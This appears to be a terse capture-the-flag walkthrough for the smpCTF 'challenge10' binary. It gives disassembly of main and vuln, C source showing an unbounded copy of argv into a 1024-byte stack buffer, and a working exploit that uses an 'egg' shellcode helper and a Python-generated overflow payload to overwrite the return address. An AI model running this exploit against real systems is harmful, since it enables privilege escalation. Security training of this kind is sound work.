redbit@redbit:~/smpCTF$ ./challenge10 'hello world'

redbit@redbit:~/smpCTF$ ./challenge10 `python -c 'print "a"*99999'`

0x0804847d <+0>: lea 0x4(%esp),%ecx

0x08048481 <+4>: and $0xfffffff0,%esp

0x08048484 <+7>: pushl -0x4(%ecx)

0x08048487 <+10>: push %ecx

0x08048488 <+11>: sub $0x18,%esp

0x0804848b <+14>: mov %ecx,0x10(%esp)

0x0804848f <+18>: mov 0x10(%esp),%eax

0x08048493 <+22>: cmpl $0x1,(%eax)

0x08048496 <+25>: jg 0x80484bb <main+62>

0x08048498 <+27>: mov 0x10(%esp),%edx

0x0804849c <+31>: mov 0x4(%edx),%eax

0x0804849f <+34>: mov (%eax),%eax

0x080484a1 <+36>: mov %eax,0x4(%esp)

0x080484a5 <+40>: movl $0x80485b4,(%esp)

0x080484ac <+47>: call 0x8048340 <printf@plt>

0x080484b1 <+52>: movl $0x0,0x14(%esp)

0x080484b9 <+60>: jmp 0x80484d7 <main+90>

0x080484bb <+62>: mov 0x10(%esp),%edx

0x080484bf <+66>: mov 0x4(%edx),%eax

0x080484c2 <+69>: add $0x4,%eax

0x080484c5 <+72>: mov (%eax),%eax

0x080484c7 <+74>: mov %eax,(%esp)

0x080484ca <+77>: call 0x8048404 <vuln>

0x080484cf <+82>: movl $0x0,0x14(%esp)

0x080484d7 <+90>: mov 0x14(%esp),%eax

0x080484db <+94>: add $0x18,%esp

0x080484de <+97>: pop %ecx

0x080484df <+98>: lea -0x4(%ecx),%esp

0x080484e2 <+101>: ret

0x08048404 <+0>: sub $0x41c,%esp

0x0804840a <+6>: movl $0x0,0x418(%esp)

0x08048415 <+17>: movl $0x400,0x8(%esp)

0x0804841d <+25>: movl $0x0,0x4(%esp)

0x08048425 <+33>: lea 0x18(%esp),%eax

0x08048429 <+37>: mov %eax,(%esp)

0x0804842c <+40>: call 0x8048320 <memset@plt>

0x08048431 <+45>: movl $0x80485b0,(%esp)

0x08048438 <+52>: call 0x8048310 <getenv@plt>

0x0804843d <+57>: test %eax,%eax

0x0804843f <+59>: je 0x8048476 <vuln+114>

0x08048441 <+61>: jmp 0x8048468 <vuln+100>

0x08048443 <+63>: mov 0x418(%esp),%eax

0x0804844a <+70>: mov 0x420(%esp),%edx

0x08048451 <+77>: movzbl (%edx),%edx

0x08048454 <+80>: mov %dl,0x18(%esp,%eax,1)

0x08048458 <+84>: addl $0x1,0x418(%esp)

0x08048460 <+92>: addl $0x1,0x420(%esp)

0x08048468 <+100>: mov 0x420(%esp),%eax

0x0804846f <+107>: movzbl (%eax),%eax

0x08048472 <+110>: test %al,%al

0x08048474 <+112>: jne 0x8048443 <vuln+63>

0x08048476 <+114>: add $0x41c,%esp

0x0804847c <+120>: ret

0x80485b0: "SMP"

void vuln( char *argv )

{

     int i = 0;

     char buf[ 0x400 ];

     memset( buf, 0, 0x400 );

     if( getenv("SMP") ){

          while( *argv ){

               buf[ i ] = *argv;

               i++;

               argv++;

          }

     }

}

hax0r@able:/usr/smp/challenge10$ export SMP=?

hax0r@able:/usr/smp/challenge10$ /tmp/redbit/egg

Using address: 0xbffffc94

hax0r@able:/usr/smp/challenge10$ ./challenge10 `python -c 'print "\x03"*1025+"\x94\xfc\xff\xbf"'`